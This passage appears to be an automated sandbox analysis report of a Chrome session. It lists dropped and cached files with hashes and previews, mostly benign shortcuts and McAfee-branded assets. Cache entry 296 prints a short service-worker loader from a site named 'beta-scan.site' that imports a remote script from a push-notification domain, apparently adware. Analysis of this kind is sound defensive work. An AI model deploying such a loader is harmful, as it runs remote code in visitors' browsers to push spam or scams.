File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 14:18:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985038367618146
Encrypted:	false
SSDEEP:	48:8w1dVTy7f8SHTidAKZdA1JehwiZUklqehAy+3:8wNsV/y
MD5:	C3E2B223ADA58C7CFA058B85D8D31250
SHA1:	07ECA6A670AC5C959B9A8295775AFCE4FA7B2EAB
SHA-256:	62DB39B45B330F56DBBE10882F307DDF3CAF1E990094989719D86AD1C46236E1
SHA-512:	2516C50070F8AA642E963500D7AA820C3F1ECEB2803840DDEEBE1B8531573987A630912A5F166C5156B448F86A74BE5EE2074165A1330D993D6882C5D2C65071
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......su........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.ICY9z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYDz....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VCYDz....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VCYDz...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VCYFz...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........B.@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 14:18:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.997694430935943
Encrypted:	false
SSDEEP:	48:8n1dVTy7f8SHTidAKZdA10eh/iZUkAQkqehvy+2:8nNsf9QKy
MD5:	2D263ED0DFA0CA1D6029A0A443A5F721
SHA1:	FAD93B9342F7C7244556C87D89CAD886E92155EE
SHA-256:	D9C4BF359F39D9118514A30F13DA5E23CE73582A4CD07A2C828DA51ADF92A205
SHA-512:	7DA9309FCF1C52DD7571792875DFD33313A9FF71AC09E4DF48DCE0DDFD0A114CDD062854AF70744663DBFF0A0985013DCF9D372189195078B6089BBD05A77FE4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....cffu........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.ICY9z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYDz....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VCYDz....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VCYDz...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VCYFz...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........B.@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.013082470950738
Encrypted:	false
SSDEEP:	48:8e1dVTy7fjHTidAKZdA14tIeh7sFiZUkmgqeh7spy+BX:8eNsHnLy
MD5:	AC83CD313A290BE6448BA6E51592D1A0
SHA1:	2A4EF63AE3D7724C6EC7EB786D8B159E7B32673E
SHA-256:	FFB4AE967713CFE0CB8E89F0569A18A493EEBA2497FA8FDA684136542CD45057
SHA-512:	671C1D9BC0BA5D04CE099B06E647567A21B317C133D0527E668465AE48ABE8B16C45E80849806A3C546F6376E393C3EF51DEB1CF00CE4F011E72632F488FFBBC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.ICY9z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYDz....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VCYDz....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VCYDz...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........B.@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 14:18:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000374527835422
Encrypted:	false
SSDEEP:	48:811dVTy7f8SHTidAKZdA1behDiZUkwqehzy+R:81Nssxy
MD5:	D2FC42BFB6F3DBAE456B6BD8EBEF7E7B
SHA1:	BCF8424F6A0350EE1E7CD07F4F5E60DB43CC5C2F
SHA-256:	2C0139917A19B0730BCAB6C754B3670A87A8FD63CE07303884CA82827CADCF23
SHA-512:	5183323A1E9895ED552A910CA861CC64716EC8760FB990AF45CF33FC78EAEC4D33724E1875DAB2383F6F7E4731239398A163F0686AF94830E5A6589BBB88C5D0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......_u........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.ICY9z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYDz....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VCYDz....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VCYDz...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VCYFz...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........B.@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 14:18:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9870037128304823
Encrypted:	false
SSDEEP:	48:8D1dVTy7f8SHTidAKZdA1VehBiZUk1W1qehVy+C:8DNs891y
MD5:	92A53E2471854F14F4CBC33AF3652600
SHA1:	F22E1F2DA6D3F91BC24D9E6AF88CFE9D452FD1B5
SHA-256:	04928592DFF56D7B1D4E0D0EC86D45CB08453A9487581C7B0B10DC1C787D1389
SHA-512:	638B847BC497883B8D27853F9D49B3C08D78401D9B47D548DA0E4B7A809C006B36D46F9F569C1E45574007D7CDFFCE7DC7AE88081CA50E84D766F3173ADA5646
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....>Dmu........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.ICY9z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYDz....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VCYDz....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VCYDz...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VCYFz...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........B.@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 14:18:10 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9979031283291655
Encrypted:	false
SSDEEP:	48:8h1dVTy7f8SHTidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbLy+yT+:8hNs2TTTbxWOvTbLy7T
MD5:	4B34156AB8AB7D1978E7278E713F238E
SHA1:	CF3BF3DE3C968EEA48DA371D8598DB7A141C696D
SHA-256:	343964EFAEEF4BDAC7A9DC6B4C00D2A43BB306A077E28639445263F7DB2D7DBD
SHA-512:	58EE4B0EE775F60DA953E7CF8D40319FB9ED698AAC9700B15057D7BF177FFCDFB8CEE795AD7516AECC963C2EFD644E369C4B94E15114A5A9F67337CB77EFE048
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....eTu........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.ICY9z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYDz....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VCYDz....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VCYDz...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VCYFz...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........B.@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	338
Entropy (8bit):	7.0684896905948875
Encrypted:	false
SSDEEP:	6:BZklEWnzYBYQv7EooUe9kZJouGJl/tqetiDKxcv/4S8gqsT2jiCaqljMUEmC9Z8:s9nzYDEKe9kZJHcllqe0DKxcIS8yxZDU
MD5:	B206A0C8882E3FDE69CF258EAE73A8AC
SHA1:	1BF31623B371FE84289C54410D383A1E75EF999F
SHA-256:	C19831CFA699BF12D0F8ACF86D7D9D9FD1217D5548AF3FA7A6B2C5ACA72E18FB
SHA-512:	989A01BEBF07E3C1457AA105A6804465251D4520C71616BAAE84654B8BE2A70AE08F7BA893873CEA6443C9C43CBC14FA9D4EFD7E9DBA2B27599C5EF4FA650E35
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/I-icon.png
Preview:	RIFFJ...WEBPVP8X..............ALPH......]..f.g.-.^.!...VD../..".A..}.BDL.L..6....U=.....A.#.;.tg.....n).nn..Tbs....yyk.2.P..WchG.GT.i+f..9.8>./. ./..\.1'..g.J7..#;.=..hF.pU`.1.....{6-;..l..$..F=....9.Z.._...)..L..&.eW&VP8 `............>.`.M.%."0......c....L.'!\.......2.!9.-......./.............~2M..0.9q..B./.t.....

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	528340
Entropy (8bit):	5.387073831093744
Encrypted:	false
SSDEEP:	12288:kDSZSASmwEhZyMnUQ5oFSDYLfGsFAXqIv:kSZSALYLf8
MD5:	D42624CBD117709F4CF3DBF33A47BD06
SHA1:	64AE3A477E3C412AAE3A6B54E8CB87A5230EE7C7
SHA-256:	496EE99C11C5CE6392EC26D7BC7F30E5E8D7DC9A6FF9F7AEC5D40D0E61318314
SHA-512:	7AA3D510921FF26604ABC96C6B1CD752BB550B291B70A301AEF502F1F6064D5E3D3C30A539DA32402FEC4751216166DD128FF2E230399389AA0D3D106ADDB5A0
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartvue/ipz/clientlibs/clientlib-vue-cart.min.js?ver=39
Preview:	!function(e){function t(t){for(var r,o,s=t[0],l=t[1],c=t[2],u=0,p=[];u<s.length;u++)o=s[u],Object.prototype.hasOwnProperty.call(i,o)&&i[o]&&p.push(i[o][0]),i[o]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(d&&d(t);p.length;)p.shift()();return n.push.apply(n,c\|\|[]),a()}function a(){for(var e,t=0;t<n.length;t++){for(var a=n[t],r=!0,s=1;s<a.length;s++){var l=a[s];0!==i[l]&&(r=!1)}r&&(n.splice(t--,1),e=o(o.s=a[0]))}return e}var r={},i={1:0},n=[];function o(t){if(r[t])return r[t].exports;var a=r[t]={i:t,l:!1,exports:{}};return e[t].call(a.exports,a,a.exports,o),a.l=!0,a.exports}o.m=e,o.c=r,o.d=function(e,t,a){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:a})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var a=Object.create(null)

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 64464, version 4.262
Category:	downloaded
Size (bytes):	64464
Entropy (8bit):	7.997087814135465
Encrypted:	true
SSDEEP:	1536:wOhGmmMET1VwoQNDerkOtxhncPvaAAGzw9jD8RlhANsK1q:JhkhVINDerkO+aAAGA/aANX1q
MD5:	4B5A84AAF1C9485E060C503A0FF8CADB
SHA1:	574EA2698C03AE9477DB2EA3BAF460EE32F1A7EA
SHA-256:	3C4A1BB7CE3234407184F0D80CC4DEC075E4AD616B44DCC5778E1CFB1BC24019
SHA-512:	05196036C41398616C077925FC4BF252E81F11B6EBEF8745047D75CB2C8B80441B8C3593F4D5B2617089E9F3D8D957F9EDCDF8E43993661A277BE8F4B6A32111
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/fonts/fontawesome-webfont.4.4.0.woff2
Preview:	wOF2...................q........................?FFTM....`..j.....\..X.6.$..D..r.. .....7?webf.[f......!...8...4..D...U..a.....f......GE.L..n..@UU._....A.{..{.)).4c....2i..\|.I.N../l.j...:..o.r..A.h$W<.@.3.....c.+VNt..tz.8..h..:.:....W6....e'[T.,.d47n.a.6.nlsm.c..li....K.w..c.f..3.&......&.m^....O...{..-r.......]~Ck.SM..UfH...>.F......G..Z1..X.aY..[.(...X.e..._..o.S..8.s@.....oy...5#d......x....LTUw....dT....W..:.9@..(....EBL...0.TP@.{f.=usF/ts.n.\.v]..W..._...].3.O...j.."...H.&..~?..A....B.s.0...?..5..;...8....(....w.....1......@X%..A.\..8.....[R..`...F..F.Q5h...BJ.NP...~D...........`$3......Wg.,Wg...{....!........S...H...t..?...+..K.dSL7.O.l#&...>...@.K<.6u'....Wr.q.....Tu......F.8.....1..f...T..}U.....I...<..>"....p.xxy.?..........`..By...Zm.?......X...Vnj.S.^.....j...x3..9...@7..t....:.gS[Y>.&,8............5.).w...e.eI.I....9..^..wj.d;.d')<$.0..[v...~fz..;..N..vJ..]F......*S=..b....I......7uk.....)...L\w.k.n.vq.=#S.=..L.kx#....

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1162)
Category:	dropped
Size (bytes):	20818
Entropy (8bit):	5.592463908396929
Encrypted:	false
SSDEEP:	384:XIgJV0fiJF+sLQld20p28JXHABsOEsoc1/1hUP88J1c7lVMF/fQpDUriKo36n:tJV6iJfwgvoc1/1hUP07jMxIpPKoqn
MD5:	A1F3145E1DC107AAD3B57974B8817B57
SHA1:	507EA38AA8AD7BBE3AB3FA7E4C85016E3DCA2960
SHA-256:	A463AA6666CE0ABCABF8033013CFE881FDBFB570389AFF471D400A45B3A496D4
SHA-512:	8ADDDA4A0F27DB8DCE9706E87C1C5716949EA8111E05A7CEE46E027252D0EEECAB2DCADD02CA505021DB7DFF7ADF88272027A4FE156DAA95A1D75F7CC73C2822
Malicious:	false
Reputation:	low
Preview:	/!. Piwik - Web Analytics. . JavaScript tracking client. . @link http://piwik.org. * @source https://github.com/piwik/piwik/blob/master/js/piwik.js. * @license http://piwik.org/free-software/bsd/ Simplified BSD (also in js/LICENSE.txt). */.if(typeof JSON2!=="object"){JSON2={}}(function(){function d(f){return f<10?"0"+f:f}function l(n,m){var f=Object.prototype.toString.apply(n);if(f==="[object Date]"){return isFinite(n.valueOf())?n.getUTCFullYear()+"-"+d(n.getUTCMonth()+1)+"-"+d(n.getUTCDate())+"T"+d(n.getUTCHours())+":"+d(n.getUTCMinutes())+":"+d(n.getUTCSeconds())+"Z":null}if(f==="[object String]"\|\|f==="[object Number]"\|\|f==="[object Boolean]"){return n.valueOf()}if(f!=="[object Array]"&&typeof n.toJSON==="function"){return n.toJSON(m)}return n}var c=new RegExp("[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]","g"),e='\\\\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\uf

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 49, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1466
Entropy (8bit):	7.811619120969368
Encrypted:	false
SSDEEP:	24:NmJ5WGhwobFQC8y/MPOrYfiNxVFdcTgoJYyMqXyCiC9fxJ+T8ePEvai+zb/DI3ZB:NoWGWq/OMYfiPnkLY9qCCiYZJ68ePES8
MD5:	DE96054EDAD2DA315A95AA3767707E0A
SHA1:	51C54F83D36BC4B08E6B96D7D6996157A7D2109C
SHA-256:	8E1127F2344EA861D31B761A3DFF965C76E6243BF31DCB610C5F3ADF831052C0
SHA-512:	92139DECDB2C20E984576CF16B358378AE5108B1E136C4E04FFE9277AAFFABA571E48D1D1510D7FB574C81D0EAC0B45957556132C2AB951619B40E9305BD3F00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...1......^"....orNT..w.....sRGB........gIDATh.....W....Vwd.1)+.....#...D.#...0..(.8O....y....7.g.".o.rz`.%#f.,.,.6h...M##..{~.Uc..6.\....}..n........s.^Y.#.T.H......)].^C.......#........=:....m....&.2....;.I.~.O..j..\\|r.ZY.\|k-&..6.K.#.:0....'.'.VXL.6N6...P.,..Z...P...n..YZ.?.A.....`....\..............6..c..k..Y3.m{...h4.c...].j...$.....`..VY.a........@&.2.....H}..s_..?...]......o.m.B....k..4..#<....AR&.O...P.n...E.;....N.aa........@~8...[d..>/$....9)... .@..H.H".a./.bwb......U}~c..{c\|sw.....!.R.2..D8.-..-.D.....p.]...R..QD.....[s...+..:G.9.....8..:...U..AO....U.8_.M.....H.i.A.....Q..\.%g..a.0C...>.s..?.+..S.e...H..[ll...v.JSi..."...}.....\n...........y..+...3.9..G.wv...E.q3.4.zzc<...>.D%]h/.H}.up..G~.aX`....C...Et5..c.Q.....P1fA#.F.1@.h.a..a.!.. ..\|..S.,.L.vfz`.......T....o....RaUt.......k.d......:c../9S(..g...d$.:...$9..h.[DQk.......Q.d..(H.L...0FN.DB...........5..!.."T.k..R=.....sFd...:.....9...... .........n.\|.....

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	112
Entropy (8bit):	4.908051008616455
Encrypted:	false
SSDEEP:	3:UVRWBNQLfu9WBJlFW54fF20RAModymW+:9yLyEJlsOYdymH
MD5:	A088DE68BAA533C816DDAE027A103DB5
SHA1:	1461BAD20B33DB75DB4A07292EE4C344B7B099A7
SHA-256:	1624B28FC06826D18C263E574D04CC751D5E9DD91E81D453EB9FEDB992227B0A
SHA-512:	0DE520FEFD9BF0295B146FB55376A77D811E482F7AFEC644BA47C89719DDBD9158F113F11D9C5C6E9A5BC43D74A103B88F676878E1BC01D3448719BA8AEF8446
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/1211351.sw.js
Preview:	self.opts = {. zoneID: 1211351,. swDomain: "sdk4push.com",.}.importScripts("https://sdk4push.com/f/sw.js")

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1137
Entropy (8bit):	6.403250350745772
Encrypted:	false
SSDEEP:	24:X1hzVWwjx82lY2T3FV1nO7OyJ3VzPFGOkwBjovUd1:lJwNn2xjMJ3jGBUd1
MD5:	D4D69630DE198F952456BD95946CFF99
SHA1:	63666FC0C400AF0789069BCF8FB5EC3092E3C7B5
SHA-256:	3BC79B2B43C6496E7BE7EA2CC22838C9E14BD7D4AB27D049D8A01A6423607E87
SHA-512:	3A834EBD073EE3D2A01292915EA5C2234219EB3757EBAF850895394F570F8D5C069DD7D0143FDC98EC67B216E010FB4627E0C2817486000097E399DF4F69E3CC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...#iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmpMM:InstanceID="xmp.iid:21087E07EA7C11EDADE5AAFBF06C6F1F" xmpMM:DocumentID="xmp.did:21087E08EA7C11EDADE5AAFBF06C6F1F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21087E05EA7C11EDADE5AAFBF06C6F1F" stRef:documentID="xmp.did:21087E06EA7C11EDADE5AAFBF06C6F1F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..4(....IDATx...A..0...f:.E7.=.......+....F........J..#t..).``...L.....XBH.. ..B.!..B.!..B.!..B.!..B.!..B.!..B.!.CC..s

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	562
Entropy (8bit):	7.415348998530468
Encrypted:	false
SSDEEP:	12:ConsDQUOGD2ZPoHQhbV/03+anm8ZmGHFGA4o+kCZ0Uj:hsDx3D2ZPyQhbiOanQcF5+kCTj
MD5:	18052E8BC66B47F2CB80136DE71B5F89
SHA1:	A85D36B6D1A550840B9CD1615DB486E994F75479
SHA-256:	CEA40606B45A9A374EEF6EDD99F7D5DA089F316920B320CCE96135405C836742
SHA-512:	A510A272625E03AFE8C4339508D8B95F7A87F43EA910AB613C75DE518880451B47E4C9BF729C61195732F3BC10BE1C1850393CA78F09CBC95304913BBB4BF1D2
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/quick_and_easy_setup_icon.png
Preview:	RIFF...WEBPVP8X........1..0..ALPH.......m...][\swk........,y%...Fww....{........6/.N;....h..$.G.1....6Z..#.....MSG...Em".\|..x..1}...1.c..-.J.....h[.....`..V.%Fp...1Ue..T)U....>.,#..",.....h..A...OG...=....(..C.VP8 N...p....2.1.>.\.M..#"0......l..h0..B4{l... .[..>...=i?....%.......+....}.....F....nE.u@.....S.[xT..{...WR.W........#.....~.....?>.R....c..y........b...pY.7>.}.&.n..t.(._V./.g.../....O.z..]\.1..cLQp......4..cL........+^..Y..s.........x.....e.......S.}./y.+.p.yq...x.)*....\El.y..z...\|@0..!.sj8A....S....PQ.....$U..B....

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	234
Entropy (8bit):	6.110732904818618
Encrypted:	false
SSDEEP:	6:Nk6MGMcRWKbljxQuXRlt3rodaJfdSWhMtBn:Mz5KbljxHjUdC3MtB
MD5:	9CE99EC458DAF212F9812A90F3FADD13
SHA1:	9E3041BC91B79A17B52E0FBB6C2D0E2F905D98A1
